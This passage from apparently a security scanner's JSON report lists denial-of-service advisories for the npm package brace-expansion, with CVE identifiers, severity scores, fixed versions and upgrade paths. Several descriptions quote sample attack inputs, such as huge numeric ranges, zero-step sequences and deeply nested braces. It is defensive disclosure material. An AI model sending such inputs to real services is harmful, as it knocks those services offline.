numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], 